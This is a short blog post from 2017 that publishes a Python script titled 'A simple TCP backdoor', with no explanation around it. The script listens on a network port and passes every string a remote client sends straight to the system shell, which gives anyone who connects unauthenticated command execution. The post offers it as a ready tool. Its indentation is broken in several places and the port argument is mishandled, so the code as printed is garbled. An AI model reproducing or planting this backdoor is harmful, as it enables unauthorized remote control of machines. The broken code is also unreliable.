Wednesday, January 11, 2017

A simple TCP backdoor

#!/usr/bin/python
import socket, sys, subprocess

class BreakOutOfALoop(Exception): pass

def execute( command ):
    subprocess.check_output(command, shell=True)
    return

HOST = '';
try:
    PORT = sys.argv[1]
except:
    PORT = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while 1:
try:
            conn, addr = s.accept()
            while 1:
conn.sendall("# ")
try:
data = conn.recv(1024)
except:
raise BreakOutOfALoop
execute(data)
#print type(data)
data = data[:-1]
conn.sendall("%s is executed!\r\n" % data)
except BreakOutOfALoop:
   continue
conn.close()
s.close()

No comments:

Post a Comment